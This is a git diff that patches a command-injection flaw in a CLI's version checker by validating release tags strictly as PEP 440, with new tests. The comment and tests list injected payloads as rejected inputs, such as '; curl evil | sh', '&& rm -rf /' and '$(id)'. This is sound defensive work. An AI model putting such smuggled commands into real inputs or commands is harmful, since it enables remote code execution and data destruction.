diff --git a/src/keboola_agent_cli/services/version_service.py b/src/keboola_agent_cli/services/version_service.py
index 0bca7991..6475d678 100644
--- a/src/keboola_agent_cli/services/version_service.py
+++ b/src/keboola_agent_cli/services/version_service.py
@@ -549,11 +549,20 @@ def _fetch_kbagent_latest_version(
         )
         response.raise_for_status()
         tag = response.json().get("tag_name", "")
-        # Strip leading 'v' from tag (e.g. 'v0.16.0' -> '0.16.0')
-        version = tag.lstrip("v")
-        if re.match(r"\d+\.\d+\.\d+", version):
-            return version
-        return None
+        # Strip a single leading 'v' (e.g. 'v0.16.0' -> '0.16.0').
+        version = tag.removeprefix("v")
+        # Validate strictly as PEP 440 before the version can flow into the
+        # install command / URL (resolve_kbagent_wheel_url /
+        # build_kbagent_upgrade_command). The old `re.match(r"\d+\.\d+\.\d+", ...)`
+        # was NOT end-anchored, so an adversarial release tag like
+        # '0.99.0; curl evil | sh' passed on its '0.99.0' prefix and reached
+        # the upgrade command (GHSA-x6cx-93j8-pgwj).
+        try:
+            Version(version)
+        except InvalidVersion:
+            logger.warning("Ignoring malformed GitHub release tag %r", tag)
+            return None
+        return version
     except (httpx.HTTPError, KeyError, ValueError):
         logger.debug("Failed to fetch latest kbagent version", exc_info=True)
         return None
@@ -616,9 +625,16 @@ def _fetch_mcp_latest_version(timeout: float = VERSION_CHECK_TIMEOUT) -> str | N
         response.raise_for_status()
         data = response.json()
         version = data.get("info", {}).get("version", "")
-        if re.match(r"\d+\.\d+\.\d+", version):
-            return version
-        return None
+        # Same end-anchoring fix as the kbagent path (GHSA-x6cx-93j8-pgwj): the
+        # MCP version flows into the MCP upgrade command, so validate it strictly
+        # as PEP 440 rather than matching a bare prefix. PyPI already enforces
+        # PEP 440, so this is defense-in-depth on the install path.
+        try:
+            Version(version)
+        except InvalidVersion:
+            logger.warning("Ignoring malformed MCP version %r from PyPI", version)
+            return None
+        return version
     except (httpx.HTTPError, KeyError, ValueError):
         logger.debug("Failed to fetch latest MCP server version", exc_info=True)
         return None
diff --git a/tests/test_version_service.py b/tests/test_version_service.py
index d4ef0d5f..d8f18a57 100644
--- a/tests/test_version_service.py
+++ b/tests/test_version_service.py
@@ -51,6 +51,17 @@ def test_success(self, mock_get: MagicMock) -> None:
 
         assert _fetch_mcp_latest_version() == "1.46.0"
 
+    @patch("keboola_agent_cli.services.version_service.httpx.get")
+    def test_rejects_malformed_pypi_version(self, mock_get: MagicMock) -> None:
+        """GHSA-x6cx: a malformed PyPI version must be rejected, not accepted on
+        a valid prefix (defense-in-depth on the MCP upgrade-command path)."""
+        mock_response = MagicMock()
+        mock_response.raise_for_status = MagicMock()
+        mock_get.return_value = mock_response
+        for bad in ("1.46.0; evil", "1.46.0/../x", "garbage"):
+            mock_response.json.return_value = {"info": {"version": bad}}
+            assert _fetch_mcp_latest_version() is None, bad
+
     @patch("keboola_agent_cli.services.version_service.httpx.get")
     def test_http_error(self, mock_get: MagicMock) -> None:
         import httpx
@@ -836,6 +847,38 @@ def test_default_uses_releases_latest_endpoint(self, mock_get: MagicMock) -> Non
         url = mock_get.call_args.args[0]
         assert url.endswith("/releases/latest")
 
+    @patch("keboola_agent_cli.services.version_service.httpx.get")
+    def test_rejects_adversarial_release_tag(self, mock_get: MagicMock) -> None:
+        """GHSA-x6cx: a tag whose valid version prefix is followed by garbage
+        must be rejected. The old non-end-anchored ``re.match`` accepted it on
+        the prefix, letting it flow into the upgrade command."""
+        mock_response = MagicMock()
+        mock_response.raise_for_status = MagicMock()
+        mock_get.return_value = mock_response
+        for bad in (
+            "v0.99.0; curl evil | sh",
+            "v0.99.0 && rm -rf /",
+            "v0.99.0/../../x",
+            "v0.99.0$(id)",
+            "v0.99.0evil",
+            "vgarbage",
+        ):
+            mock_response.json.return_value = {"tag_name": bad}
+            assert _fetch_kbagent_latest_version() is None, bad
+
+    @patch("keboola_agent_cli.services.version_service.httpx.get")
+    def test_accepts_valid_stable_and_beta_tags(self, mock_get: MagicMock) -> None:
+        mock_response = MagicMock()
+        mock_response.raise_for_status = MagicMock()
+        mock_get.return_value = mock_response
+        for tag, expected in (
+            ("v0.65.1", "0.65.1"),
+            ("v0.43.0b1", "0.43.0b1"),
+            ("0.65.2", "0.65.2"),
+        ):
+            mock_response.json.return_value = {"tag_name": tag}
+            assert _fetch_kbagent_latest_version() == expected, tag
+
     @patch("keboola_agent_cli.services.version_service.httpx.get")
     def test_prerelease_returns_highest_pep440_version(self, mock_get: MagicMock) -> None:
         """With include_prerelease=True: pick highest by PEP 440 ordering."""